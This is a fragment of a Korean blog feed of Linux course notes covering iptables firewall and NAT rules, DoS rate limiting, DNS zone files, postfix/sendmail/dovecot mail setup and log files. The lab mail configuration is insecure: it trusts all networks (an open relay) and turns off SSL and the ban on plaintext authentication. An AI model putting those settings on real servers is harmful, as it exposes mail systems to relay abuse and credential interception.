iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT</li>
<li>A INPUT -i lo -p icmp -j ACCEPT</li>
<li>A INPUT -p tcp -m tcp --dport 22 -j ACCEPT</li>
<li>A FORWARD -p icmp -m icmp --icmp-type 8 -s 20.20.20.20 -d 10.10.10.10 -j DROP
service iptables save
service iptables restart</li>
</ul>
</li>
</ul>
</li>
<li><p>기본 세팅</p>
<ul>
<li>iptables -A INPUT  -i lo -j ACCEPT</li>
<li>iptables -A INPUT -p icmp -j ACCEPT</li>
<li>iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT</li>
<li>iptables -A INPUT -p tcp --dport 22 -j ACCEPT</li>
</ul>
</li>
<li><p>ip 알리아싱</p>
<p>  <code>ifconfig ens33:0 192.168.10.100</code> -&gt; ens33:0  </p>
</li>
<li><p>DNAT 세팅</p>
<ul>
<li>iptables -A FORWARD -o ens36 -p tcp -m tcp --dport 80 -j ACCEPT</li>
<li>iptables -t nat -A PREROUTING -d 192.168.10.100 -p tcp --dport 80 -j DNAT --to 10.10.10.10:80</li>
</ul>
</li>
</ul>
<hr>
<ul>
<li><p>DNAT: 서버</p>
</li>
<li><p>SNAT: 사설 -&gt; 공인 (인터넷 사용)</p>
</li>
<li><p>-A FORWARD -i ens32 -j ACCEPT → ens32 를 향해 들어오는 것들 모두 허용</p>
</li>
<li><p>A FORWARD -o ens32 -p udp -m udp --sport 53 -j ACCEPT → udp/53으로 시작했던 애들만 나갈 수 있게 허용</p>
</li>
<li><p>A FORWARD -o ens32 -p udp -m udp --dport 53 -j ACCEPT → udp/53을 향해 가는 애들만 나갈 수 있게 허용</p>
</li>
<li><p>NAT까지 설정된 vi /etc/sysconfig/iptables</p>
<pre><code class="language-c">  # Generated by iptables-save v1.4.21 on Thu Jun 13 14:34:18 2024
  *nat
  :PREROUTING ACCEPT [210:13992]
  :INPUT ACCEPT [0:0]
  :OUTPUT ACCEPT [2:152]
  :POSTROUTING ACCEPT [12:624]
  -A PREROUTING -d 192.168.10.100/32 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.10.10.10:80
  -A POSTROUTING -o ens33 -j MASQUERADE
  COMMIT
  # Completed on Thu Jun 13 14:34:18 2024
  # Generated by iptables-save v1.4.21 on Thu Jun 13 14:34:18 2024
  *filter
  :INPUT DROP [0:0]
  :FORWARD DROP [66:4812]
  :OUTPUT ACCEPT [113:14856]
  -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
  -A INPUT -i lo -j ACCEPT
  -A INPUT -p icmp -j ACCEPT
  -A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
  -A FORWARD -i ens32 -p udp -m udp --dport 53 -j ACCEPT
  -A FORWARD -o ens32 -p udp -m udp --sport 53 -j ACCEPT
  -A FORWARD -i ens32 -p tcp -m tcp --dport 443 -j ACCEPT
  -A FORWARD -o ens32 -p tcp -m tcp --sport 443 -j ACCEPT
  -A FORWARD -i ens32 -p tcp -m tcp --dport 80 -j ACCEPT
  -A FORWARD -o ens32 -p tcp -m tcp --sport 80 -j ACCEPT
  -A FORWARD -o ens32 -p tcp -m tcp --dport 80 -j ACCEPT
  -A FORWARD -i ens32 -p tcp -m tcp --sport 80 -j ACCEPT
  COMMIT
  # Completed on Thu Jun 13 14:34:18 2024</code></pre>
<p>  외부에서 들어오는 내용만 잘 처리하면 됨
  내부에서 나가는것은 이미 신뢰할 수 있는 자료이고 별도의 절차를 거치기에 한줄로 요약 가능</p>
<ul>
<li><p>A FORWARD -i ens32 -j ACCEPT</p>
</li>
<li><p>A FORWARD -o ens32 -p udp -m udp --sport 53 -j ACCEPT</p>
</li>
<li><p>A FORWARD -o ens32 -p tcp -m tcp --sport 443 -j ACCEPT</p>
</li>
<li><p>A FORWARD -o ens32 -p tcp -m tcp --sport 80 -j ACCEPT</p>
<p>NAT 지우기
tptables -t nat -F</p>
</li>
</ul>
</li>
<li><p>실습</p>
<ul>
<li><p>전제 조건</p>
<p>  DNS web db  ( 10.10.10.10 )
  db.sevas10.com   =&gt;  localhost     root  &#39;&#39;  DB = sevas</p>
<p>  DNS
  ns.sevas10.com    192.168.10.200
  <a href="http://www.sevas10.com">www.sevas10.com</a>    192.168.10.100 으로 접속
  fw.sevas10.com    192.168.10.10</p>
<p>  웹페이지 192.168.10.100 (= 10.10.10.10 )으로 접속하고</p>
<p>  (http,https (인증서호스트 <a href="http://www.sevas10.com">www.sevas10.com</a> 포함)
  칼리(DNS 192.168.10.200) 에서 web을 사용해서 회원가입 로그인 </p>
</li>
<li><p>vi /etc/sysconfig/iptables</p>
<pre><code class="language-jsx">  # Generated by iptables-save v1.4.21 on Thu Jun 13 16:41:18 2024
  *nat
  :PREROUTING ACCEPT [0:0]
  :INPUT ACCEPT [0:0]
  :OUTPUT ACCEPT [0:0]
  :POSTROUTING ACCEPT [0:0]
  -A PREROUTING -d 192.168.10.100/32 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.10.10.10:80
  -A PREROUTING -d 192.168.10.100/32 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.10.10.10:443
  -A PREROUTING -d 192.168.10.200/32 -p udp -m udp --dport 53  -j DNAT --to-destination 10.10.10.10:53
  -A POSTROUTING -o ens33 -j MASQUERADE
  COMMIT
  # Completed on Thu Jun 13 16:41:18 2024
  # Generated by iptables-save v1.4.21 on Thu Jun 13 16:41:18 2024
  *filter
  :INPUT DROP [0:0]
  :FORWARD DROP [0:0]
  :OUTPUT ACCEPT [24:2576]
  -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
  -A INPUT -i lo -j ACCEPT
  -A INPUT -p icmp -j ACCEPT
  -A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
  -A FORWARD -i ens34 -j ACCEPT        &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;칼리 인터넷
  -A FORWARD -o ens34 -p udp -m udp --sport 53 -j ACCEPT
  -A FORWARD -o ens34 -p tcp -m tcp --sport 80 -j ACCEPT
  -A FORWARD -o ens34 -p tcp -m tcp --sport 443 -j ACCEPT
  -A FORWARD -i ens32 -j ACCEPT        &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;서버 인터넷
  -A FORWARD -o ens32 -p udp -m udp --sport 53 -j ACCEPT
  -A FORWARD -o ens32 -p tcp -m tcp --sport 80 -j ACCEPT
  -A FORWARD -o ens32 -p tcp -m tcp --sport 443 -j ACCEPT
  -A FORWARD -o ens32 -p tcp -m tcp --dport 443 -j ACCEPT &lt;&lt;&lt;&lt;&lt;&lt;&lt; 서비스 DNAT 포트 
  -A FORWARD -o ens32 -p tcp -m tcp --dport 80 -j ACCEPT
  -A FORWARD -o ens32 -p udp -m udp --dport 53 -j ACCEPT
  COMMIT
  # Completed on Thu Jun 13 16:41:18 2024</code></pre>
</li>
<li><p>sevas10.zone</p>
<pre><code class="language-jsx">  $TTL 1D
  @       IN SOA  @                       root.sevas10.com. (
                                          0       ; serial
                                          1D      ; refresh
                                          1H      ; retry
                                          1W      ; expire
                                          3H )    ; minimum
          IN      NS      @
          IN      A       10.10.10.10

  ns      IN      A       192.168.10.200
  www     IN      A       192.168.10.100
  fw      IN      A       192.168.10.10</code></pre>
</li>
</ul>
</li>
</ul>
<hr>
<ul>
<li><p>DOS공격 차단 정책  ⇒ ping 속도 제한  ( ping -i 0.1 )</p>
<ul>
<li><p>-m limit : 적용 검사의 속도 제한  (기본값 5)</p>
</li>
<li><p>--limit:    /s /m /h /d 등 단위 지정    ex) 3/m    =&gt; 분당 세 번</p>
</li>
<li><p>--limit-burst → 기본 값은 5 , 적용 검사 1회시 한번에 처리하는 최대 패킷수</p>
<ul>
<li><p>ping 제한</p>
<ul>
<li><p>192.168.10.50 의 input 방식 리미트   → ping -i 0.1 192.168.10.100</p>
<blockquote>
<p>-A INPUT -p icmp -m limit --limit 40/min -j ACCEPT                             -- 일부 승인후 지연(1분에 40개)</p>
<p>-A INPUT -p icmp -m limit --limit 10/min --limit-burst 10 -j ACCEPT    -- 10개 검사 후, 일부 승인 후 지연(1분에 10개)</p>
<p>-A INPUT -p icmp -m limit --limit 60/min --limit-burst 20 -j ACCEPT    -- 일반 ping은 통과, ping 0.1 은 지연을 검</p>
<p>-A INPUT -p icmp -j DROP                                                                       -- 이외는 거부  → 마지막에 필수/위의 제한들은 한개씩</p>
</blockquote>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><p>연결 제한</p>
<ul>
<li>-m connlimit (DROP) [연결세션제한 = 세션수 ]</li>
<li>--connlimit-above [숫자]</li>
<li>-A INPUT -p tcp --dport 22 -m connlimit --connlimit-above 3 -j DROP</li>
</ul>
</li>
<li><p>로그 남기기</p>
<ul>
<li><p>-m recent [ 제한 시간 &amp; 허용 카운트 ] 특정 시간 동안 특정 갯수 이상의 패킷을 받으면 적용</p>
</li>
<li><p>--update --seconds 5 --hitcount 10 5초 동안 10번 들어오는 패킷들은 차단 (5초 뒤 다시 접속 가능)</p>
</li>
<li><p>웹이 나오게끔 설정 후 동작    ( 10초 동안 10번 들어오는 패킷들을 차단 )</p>
<blockquote>
<p>-A FORWARD -d 10.10.10.10 -p tcp --dport 80 -m recent --set --name flood_list
  -A FORWARD -d 10.10.10.10 -p tcp --dport 80 -m recent --update --seconds 10 --hitcount 10 --name flood_list -j LOG --log-prefix &quot;[http flood attack]&quot;
  -A FORWARD -d 10.10.10.10 -p tcp --dport 80 -m recent --update --seconds 10 --hitcount 10 --name flood_list -j DROP</p>
</blockquote>
</li>
</ul>
</li>
<li><p>-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT  → 제한은 해당 문구 위에서 진행</p>
</li>
<li><p>iptables 로그 만들기</p>
<ol>
<li>vi /etc/rsyslog.conf
#IPTABLES
kern.*    /var/log/iptables.log</li>
<li>service rsyslog restart</li>
<li>tail -f /var/log/iptables.log </li>
</ol>
</li>
<li><p>ALL SYN 차단(nmap 등.. SYN ATTACK, flooding)</p>
<ul>
<li>-A INPUT -p tcp -m tcp --tcp-flags SYN SYN -m limit --limit 3/s --limit-burst 5 -j ACCEPT</li>
<li>A OUTPUT -p tcp -m tcp --tcp-flags ALL SYN,ACK -m limit --limit 3/s --limit-burst 5 -j ACCEPT</li>
<li>A FORWARD -p tcp -m tcp --tcp-flags SYN SYN -m limit --limit 3/s --limit-burst 5 -j ACCEPT</li>
<li>A INPUT -p tcp --tcp-flags ALL SYN -j DROP</li>
<li>A OUTPUT -p tcp -m tcp --tcp-flags ALL SYN,ACK -j DROP</li>
<li>호스트로 주지 않는 이유: 공격자를 특정할 수 없기에 syn 자체를 막음</li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[2024] 비전공자의 리눅스 마스터 2급 - 2차 합격 정보 공유]]></title>
            <link>https://velog.io/@dpwls_w/2024-%EB%B9%84%EC%A0%84%EA%B3%B5%EC%9E%90%EC%9D%98-%EB%A6%AC%EB%88%85%EC%8A%A4-%EB%A7%88%EC%8A%A4%ED%84%B0-2%EA%B8%89-2%EC%B0%A8-%ED%95%A9%EA%B2%A9-%EC%A0%95%EB%B3%B4-%EA%B3%B5%EC%9C%A0</link>
            <guid>https://velog.io/@dpwls_w/2024-%EB%B9%84%EC%A0%84%EA%B3%B5%EC%9E%90%EC%9D%98-%EB%A6%AC%EB%88%85%EC%8A%A4-%EB%A7%88%EC%8A%A4%ED%84%B0-2%EA%B8%89-2%EC%B0%A8-%ED%95%A9%EA%B2%A9-%EC%A0%95%EB%B3%B4-%EA%B3%B5%EC%9C%A0</guid>
            <pubDate>Fri, 14 Jun 2024 07:03:51 GMT</pubDate>
            <description><![CDATA[<p>국비 수업을 들으며 병행했던 리눅스 마스터 2급 시험에 붙게 되어 기록 겸 정보 공유를 위해 글을 작성해봅니다. 수업에서는 linux, network +기초 보안에 대해 들었으며 수업에서 공부한 내용들은 블로그에 정리되어 있습니다.</p>
<h1 id="1차-시험-및-기본-정보">1차 시험 및 기본 정보</h1>
<p><a href="https://velog.io/@dpwls_w/2024-%EB%B9%84%EC%A0%84%EA%B3%B5%EC%9E%90%EC%9D%98-%EB%A6%AC%EB%88%85%EC%8A%A4-%EB%A7%88%EC%8A%A4%ED%84%B0-2%EA%B8%89-1%EC%B0%A8-%ED%95%A9%EA%B2%A9-%EC%A0%95%EB%B3%B4-%EA%B3%B5%EC%9C%A0">1차 시험 후기 및 기본 정보</a>는 이전 게시글로 대체합니다.
<em>과목, 시험일정 등</em></p>
<h2 id="시험">시험</h2>
<p>2차 시험의 경우 80문항을 100분 동안 푸는 방식으로 진행됩니다. OMR카드로 작성해야하며 수정테이프 사용은 불가하기에 교체해야합니다. 또한 문제지는 가져갈 수 없고 수험표를 출력해갈 시 뒷면에 답안을 기재할 수 있습니다. 가답안은 2~3일 뒤에 올라오니 <strong>미리 채점을 원하신다면 수험표 출력!</strong>하시기 바랍니다. 
<img src="https://velog.velcdn.com/images/dpwls_w/post/e718b1e4-d5db-493d-8012-4d2ca16465d8/image.png" alt=""></p>
<h3 id="공부-방법">공부 방법</h3>
<p><a href="https://www.comcbt.com/">https://www.comcbt.com/</a>
저는 별도의 교재는 구입하지 않았으며, 해당 사이트에서 21년부터 최근까지의 기출을 반복해서 풀었습니다. 각 2회 이상 푼 뒤에는 모의고사 모드(기출 혼합)로 풀며 모르는 문제는 캡쳐해 따로 남겨두었습니다.<br><img src="https://velog.velcdn.com/images/dpwls_w/post/fb3c6261-19e9-4b29-b303-866968c5cbe8/image.png" alt=""></p>
<p>그리고 시험 전날부터 아침까지 반복해서 틀린 문제들에 대해서만 따로 정리를 해두었습니다. 기출이 70%가량 나오기에 반복해서 암기하시는 것이 좋습니다. </p>
<ul>
<li>예시
<img src="https://velog.velcdn.com/images/dpwls_w/post/f53fe7ad-2811-4571-9fd7-3252f1f91c54/image.png" alt=""></li>
</ul>
<h3 id="합격-인증">합격 인증</h3>
<p><img src="https://velog.velcdn.com/images/dpwls_w/post/ea16ad88-a65f-4e59-b161-e81f48d06428/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Linux] Mail - postfix, sendmail]]></title>
            <link>https://velog.io/@dpwls_w/Linux-Mail</link>
            <guid>https://velog.io/@dpwls_w/Linux-Mail</guid>
            <pubDate>Wed, 12 Jun 2024 08:03:59 GMT</pubDate>
            <description><![CDATA[<h1 id="mail">Mail</h1>
<ul>
<li><p>mail server</p>
<ul>
<li>메일 송신  SMTP  (메일 서버와 메일 서버 간의 통신)  25/tcp</li>
<li>메일 수신  POP3,IMAP (서버와 클라이언트 수신)        110  , 143<ul>
<li>pop3 와 IMAP 의 차이점<ul>
<li>pop3 는 클라이언트에 저장되면 서버에서 내용 삭제</li>
<li>IMAP 중앙 서버에서 메일 내용 동기화</li>
</ul>
</li>
</ul>
</li>
<li>리눅스 메일 서버<ul>
<li>기본 메일 서버 : POSTFIX  (다른 메일 서버 사용 시 삭제)</li>
<li>메일 저장함: /var/spool/mail/계정명</li>
</ul>
</li>
</ul>
</li>
<li><p>메일 관련 프로그램</p>
<ul>
<li><p>MTA(Mail Transfer Agent)</p>
<ul>
<li>전자 메일을 다른 곳으로 전송하는 서버 프로그램</li>
</ul>
</li>
<li><p>MUA(mail User Agent)</p>
<ul>
<li>전자메일을 사용자에게 할당하는 클라이언트 프로그램</li>
</ul>
</li>
<li><p>MDA(Mail Delivery Agent)</p>
<ul>
<li>MTA가 수신한 메세지를 시간에 맞게 사용자 우편한테 쓰기 위한 프로그램</li>
</ul>
</li>
<li><p>MRA(mail Reterieval Agent)</p>
<ul>
<li>리모트 서버에 있는 우편함으로부터 사용자의 MUA로 메일을 가져오는 프로그램</li>
</ul>
</li>
<li><p>메일 access 상태</p>
<blockquote>
<p>RELAY    신뢰(Forward)   →  disconnect 등 정책 설정 가능./ 주로 사용 
  OK            무조건 허용
  DISCARD    응답x 거부
  REJECT    응답이 있는 거부</p>
</blockquote>
<h2 id="postfix">postfix</h2>
</li>
</ul>
</li>
</ul>
<blockquote>
<p>yum install mailx
        yum install dovecot (메일 수신 서버 다운)
        server dovecot restart (수신 서버 시작)
        systemctl enable devecot 
service postfix restart  (송신 서버 시작)
netstat -lntup |grep dove   (포트확인)
system-config-firewall      (방화벽처리)
service postfix restart       (송신서버 시작)
netstat -lntup |grep master        (포트확인)</p>
<p>방화벽 처리
firewall-cmd --permanent --add-port 110/tcp
firewall-cmd --permanent --add-port 25/tcp
firewall-cmd --reload</p>
<p><strong><em>최초에는 127.0.0.1:25 기때문에 로컬에서 밖에 수신이 불가하다</em></strong></p>
</blockquote>
<ul>
<li><p>파일 설정</p>
</li>
<li><p>/etc/dovecot/conf.d/10-auth.conf  (암호화 설정 비활성)</p>
<pre><code>      disable_plaintext_auth = no</code></pre></li>
<li><p>/etc/dovecot/conf.d/10-ssl.conf   (SSL 비활성 설정)</p>
<pre><code>      ssl = no</code></pre></li>
<li><p>/etc/dovecot/conf.d/10-mail.conf (메일함설정)</p>
<pre><code>      mail_location = mbox:~/mail:INBOX=/var/mail/%u</code></pre></li>
<li><p>vi /etc/postfix/main.cf                (바꿀 내용 /치면서 검색 )</p>
<pre><code>         myhostname = mail.sevas10.com    메일서버 호스트등록
          mydomain = sevas10.com            메일서버 도메인
          myorigin = $mydomain            송신자 메일주소
          inet_interfaces = all            서비스할 인터페이스
          mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain   수신 받을 도메인
          mynetworks = 0.0.0.0/0            신뢰 할수 있는 네트워크 주소
          relay_domains = $mydestination        신뢰 할수 있는 도메인 주소
          mail_spool_directory = /var/spool/mail        메일함 저장 위치
          smtpd_client_restrictions = check_client_access hash:/etc/postfix/access        access list 사용을 위해 추가</code></pre></li>
<li><p>access 설정</p>
</li>
</ul>
<pre><code>        vi /etc/mail/access
        sevas10.com                             RELAY
        10.10.10.254                            RELAY
        20.20.20.254                            RELAY
        10.10.10.10                             RELAY</code></pre><p><code>makemap hash access &lt; access</code></p>
<ul>
<li><p>DNS내용</p>
<pre><code>      - korea10.zone

     $TTL 3H
      @       IN SOA  ns.korea10.com.         root.korea10.com.  (
                                                      0       ; serial
                                                      1D      ; refresh
                                                      1H      ; retry
                                                      1W      ; expire
                                                      3H )    ; minimum
                IN      NS      ns.korea10.com.
                IN      A       10.10.10.10
                IN      MX 15   mail.korea10.com.

      ns      IN      A       20.20.20.20
      mail    IN      A       20.20.20.20</code></pre></li>
<li><p>sevas10.zone            </p>
<pre><code>     $TTL 3H
      @       IN SOA  ns.sevas10.com.         root.sevas10.com.  (
                                                      0       ; serial
                                                      1D      ; refresh
                                                      1H      ; retry
                                                      1W      ; expire
                                                      3H )    ; minimum
                IN      NS      ns.sevas10.com.
                IN      A       10.10.10.10
                IN      MX 10   mail.sevas10.com.

      ns      IN      A       10.10.10.10
      www     IN      A       10.10.10.10
      db      IN      A       20.20.20.20
      mail    IN      A       10.10.10.10</code></pre></li>
</ul>
<ul>
<li>nslookup</li>
</ul>
<blockquote>
<p>set type=MX
            sevas10.com
            Server:         10.10.10.10
            Address:        10.10.10.10#53
            sevas10.com     mail exchanger = 10 mail.sevas10.com.
            korea10.com
            Server:         10.10.10.10
            Address:        10.10.10.10#53
            korea10.com     mail exchanger = 15 mail.korea10.com.</p>
<p>꼭 메일 익스체인저 확인할것</p>
</blockquote>
<ul>
<li><p>결과 확인</p>
<pre><code>  [root@localhost ~]# netstat -lntup |grep master
  tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      11072/master
  tcp6       0      0 :::25                   :::*                    LISTEN      11072/master
  - 내용 적용 `makemap hash access &lt; access`

  ---</code></pre></li>
</ul>
<h2 id="sendmail">sendmail</h2>
<ul>
<li><p>패키지 → rpm -e postfix(메일 충돌 이유로 삭제)</p>
<pre><code>                   dovecot   (메일 수신 패키지)  (yum install dovecot)
                   sendmail (메일 서버 패키지) (yum install sendmail*)</code></pre></li>
<li><p>설정 파일 수정</p>
</li>
<li><p>vi /etc/dovecot/dovecot.conf</p>
<pre><code>          #protocols = imap pop3 lmtp
          protocols = imap pop3 lmtp

          #listen = *, ::
          listen = *, ::

          /etc/dovecot/conf.d/10-auth.conf  (암호화 설정 비활성)
          disable_plaintext_auth = no

          /etc/dovecot/conf.d/10-ssl.conf (SSL 비활성 설정)
          ssl = no
          :
          /etc/dovecot/conf.d/10-mail.conf (메일함설정)
          mail_location = mbox:~/mail:INBOX=/var/mail/%u</code></pre></li>
<li><p>vi /etc/mail/sendmail.mc</p>
</li>
</ul>
<pre><code>            dnl TRUST_AUTH_MECH(`EXTERNAL DIGEST-MD5 CRAM-MD5 LOGIN PLAIN&#39;)dnl    (원본)
            dnl define(`confAUTH_MECHANISMS&#39;, `EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5 LOGIN PLAIN&#39;)dnl    (원본)
            TRUST_AUTH_MECH(`EXTERNAL DIGEST-MD5 CRAM-MD5 LOGIN PLAIN&#39;)dnl    (수정)
            define(`confAUTH_MECHANISMS&#39;, `EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5 LOGIN PLAIN&#39;)dnl    (수정)

            TRUST_AUTH_MECH(`EXTERNAL DIGEST-MD5 CRAM-MD5 LOGIN PLAIN&#39;)dnl    
            define(`confAUTH_MECHANISMS&#39;, `EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5 LOGIN PLAIN&#39;)dnl

            mail 호스트설정 (125)
            dnl #DAEMON_OPTIONS(`Port=smtp,Addr=127.0.0.1, Name=MTA&#39;)dnl    (원본)
            DAEMON_OPTIONS(`Port=smtp,Name=MTA&#39;)dnl    (수정)

            도메인등록(169)
            dnl MASQUERADE_AS(`mydomain.com&#39;)dnl    (원본)
            MASQUERADE_AS(`sevas.com&#39;)dnl    (수정)

            도메인 연결
            dnl FEATURE(masquerade_envelope)dnl    (원본)
            FEATURE(masquerade_envelope)dnl    (수정)</code></pre><ul>
<li>저장한 내용 변환  <code>m4 /etc/mail/sendmail.mc &gt; /etc/mail/sendmail.cf</code></li>
<li>vi /etc/mail/sendmail.cf<pre><code>      - Cwsevas10.com</code></pre></li>
</ul>
<blockquote>
<p>Cw : 호스트 지정. 요즘은 여러 도메인을 사용하는 경우가 많아 Fw가 주로 쓰임
                Fw : 도메인마다 별도의 파일을 지정
                Dj  : 특정 도메인으로 강제로 연결</p>
</blockquote>
<ul>
<li><p>vi local-host-names</p>
<pre><code>      - mail.sevas.com  → *지정 도메인 내용 추가*
  - netstat -lntup |grep send
  - netstat -lntup |grep dovecot</code></pre></li>
<li><p>vi /etc/postfix/access</p>
<pre><code>      [aol.com](http://aol.com/)     REJECT
      [yahoo.com](http://yahoo.com/)   REJECT
      [msn.com](http://msn.com/)     REJECT
      자신의 서버 주소 OK</code></pre></li>
</ul>
<p>이후 <code>postmap access</code></p>
<ul>
<li><p>DNS설정</p>
</li>
<li><p>vi sevas.sh</p>
<pre><code>          S=service
          case $1 in

          start)
          echo &quot; 메일 서버 start&quot;
          $S sendmail start
          $S saslauthd start
          $S dovecot start
          ;;

          stop)
          echo &quot; 메일 서버 stop&quot;
          $S sendmail stop
          $S saslauthd stop
          $S dovecot stop
          ;;

          restart)
          sh $0 stop
          sleep 5
          sh $0 start
          ;;

          *)
          echo &quot;start/stop/restart&quot;
          exit 0
          esac</code></pre></li>
<li><p>chmod 755 <a href="http://sevas.sh/">sevas.sh</a></p>
</li>
<li><p>./sevas.sh</p>
</li>
<li><p>./sevas.sh  start</p>
</li>
<li><p>실행 시 작동</p>
</li>
</ul>
<blockquote>
<p>Redirecting to /bin/systemctl start sendmail.service
                    Redirecting to /bin/systemctl start saslauthd.service
                    Redirecting to /bin/systemctl start dovecot.service</p>
<ul>
<li>/etc/rc.d/init.d/saslauthd restart (SMTP인증 데몬)
/etc/rc.d/init.d/dovecot restart (메일수신 데몬)
/etc/rc.d/init.d/sendmail restat (메일서버 데몬)</li>
</ul>
</blockquote>
<ul>
<li>호스트 네임 설정 <code>hostnamectl set-hostname sevas10.com</code></li>
<li>내용 적용 <code>postmap access</code></li>
</ul>
<hr>
<ul>
<li><p>메일 보내는 방법</p>
<p>  mail <a href="mailto:root@sevas10.com">root@sevas10.com</a></p>
<blockquote>
<p>mail   [상대방메일주소]
  subject : [제목쓰기]
  [내용쓰기]
. &lt;&lt;&lt;종료</p>
</blockquote>
</li>
<li><p>메일 확인하는 방법</p>
<pre><code>  &gt; mail
  번호         선택
  h             메일 정보 확인
  d  [번호]   메일 삭제
  q             나가기
  &gt; </code></pre></li>
<li><p>alias 설정 (단체  메일)</p>
<ul>
<li><p>vi /etc/aliases</p>
<pre><code class="language-c">  # Person who should get root&#39;s mail
  #root:          marc
  linux:          sevas,korea

</code></pre>
</li>
</ul>
</li>
</ul>
<pre><code>- 적용 `newaliases`</code></pre><ul>
<li><p>가상 메일</p>
<p>  메일이 변경될 때 등.. 사용</p>
<p>  /etc/mail/virtusertable</p>
  <pre>
  [1차 메일도착(수신안함)]     [2차 목적메일 (수신)]
  root@sevas10.com          sevas@korea10.com
      </pre>
<p>  makemap hash virtusertable &lt; virtusertable</p>
<p>  makemap hash access &lt; access</p>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[LOG, rsynk]]></title>
            <link>https://velog.io/@dpwls_w/LOG</link>
            <guid>https://velog.io/@dpwls_w/LOG</guid>
            <pubDate>Wed, 12 Jun 2024 04:34:05 GMT</pubDate>
            <description><![CDATA[<h1 id="log">LOG</h1>
<ul>
<li><p>LOG:  기록 , history , 흔적</p>
</li>
<li><p>로그 저장소 : /var/log  → 모든 로그 파일 저장소</p>
<ul>
<li>대부분의 서비스 로그는  /var/log/[서비스명]</li>
</ul>
</li>
<li><p><strong>주요 로그</strong></p>
<ul>
<li>/var/log/message      시스템 메세지 로그
/var/log/secure    인증 로그(접속 로그)
/var/log/maillog    메일 로그
/var/log/cron            주기 예약 작업 로그
/var/log/spooler    로그 생성 작업소 (실제 눈으로 확인 어려움)
/var/log/dmesg      가장 최근 시스템 장치 및 파일 시스템, 부팅 메세지 로그
/var/log/boot.log    부팅 시 시스템 장치 및 데몬 실행 상태 확인 로그</li>
</ul>
</li>
<li><p>시스 로그 서버 기록</p>
<ul>
<li>logrotate → 모든 로그 파일 관리 (주기적으로 압축, 백업, 삭제, 메일 보내기 등 작업)<ul>
<li>역할: 한정된 용량에 로그가 쌓이는 것 방지</li>
<li>구동: crontab &gt; cron.daily &gt; logrotate &gt; logrotate.conf &gt; logrotate.d</li>
<li>/etc/logrotate.d/syslog               → syslog = rsyslog로 대체 가능</li>
</ul>
</li>
</ul>
</li>
<li><p>접속 로그</p>
<blockquote>
<p><strong>strings     : 바이너리 분석 도구</strong>
  utmp    :use:             현재 접속 중인 사용자    :    users,w,who
  wtmp    :was:    모든 접속 성공 로그    :    last
  btmp    :bad:    모든 접속 실패 로그    :    lastb</p>
</blockquote>
</li>
<li><p>utemp</p>
<ul>
<li>역할: 사용중인 사용자 로그</li>
<li>위치: /var/run/utmp</li>
<li>명령어: w who users finger(잘안씀)</li>
<li>분석:strings /var/run/utmp</li>
</ul>
</li>
<li><p>wtmp</p>
<ul>
<li>역할: 접속했던 계정들의 로그인 로그아웃 정보 로그</li>
<li>위치:/var/log/wtmp</li>
<li>명령어: last</li>
</ul>
</li>
<li><p>btmp</p>
<ul>
<li>역할: 로그인 실패 계정 정보 로그</li>
<li>위치:/var/log/btmp</li>
<li>명령어:lastb (last 명령과 연결되어있음)</li>
</ul>
</li>
<li><p>인증 로그 (secure)</p>
<ul>
<li>역할: SSH/telnet등 인증(PAM)에 대한 모든 로그 기록</li>
<li>위치: /var/log/secure</li>
<li><strong>secure로그는 보통 시스템 메세지 messages와 같이 활용하여 사용</strong></li>
</ul>
</li>
<li><p>웹 접속 로그</p>
<ul>
<li>접속 로그
/var/log/httpd/access_log &lt;=링크 /etc/httpd/logs/access_log</li>
<li>에러 로그
/var/log/httpd/error_log</li>
</ul>
</li>
<li><p>파일 전송 로그</p>
<ul>
<li><p>xferlog</p>
<blockquote>
<p>Thu Aug 31 18:00:04 2017 1 192.168.1.1 0 /home/sevas/test a _ o r sevas ftp 0 * c
  Thu Aug 31 18:00:06 2017 1 192.168.1.1 170 /home/sevas/3.tar.gz b _ i r sevas ftp 0 * c</p>
</blockquote>
  <pre>
  Thu Aug 31 18:00:04 2017            날짜
  1                            전송에 걸린시간 (초) 
  192.168.1.1                        soruceIP
  0                            용량
  /home/sevas/test                전송한 파일 경로 
  a/b                            ascii / binary
  _                            압축에 사용된 방식
  o/i                            download/upload
  r                            real account (/etc/passwd)
  sevas                                사용계정명
  ftp                            프로토콜
  0/1                            인증에 사용된 방법 0=none 1=rfc931 remoteident authentication (원격로그인)
  *                                     가능 계정
  c/i                            성공/실패

</li>
</ul>
</li>
</ul>
<p></pre></p>
<hr>
<ul>
<li><p>acct/ pacct</p>
<ul>
<li>시스템에 로그인한 모든 사용자가 로그아웃할 때까지 입력한 명령어와 터미널의 종류, 프로세스 시작 시간 등을 저장한 로그</li>
<li>lastcomm 명령으로 확인</li>
<li>리눅스 /var/account/pacct</li>
<li>유닉스 /var/adm/pacct</li>
</ul>
</li>
<li><p>기본적으로 활성화가 되어 있지 않기 때문에 활성화 필수]</p>
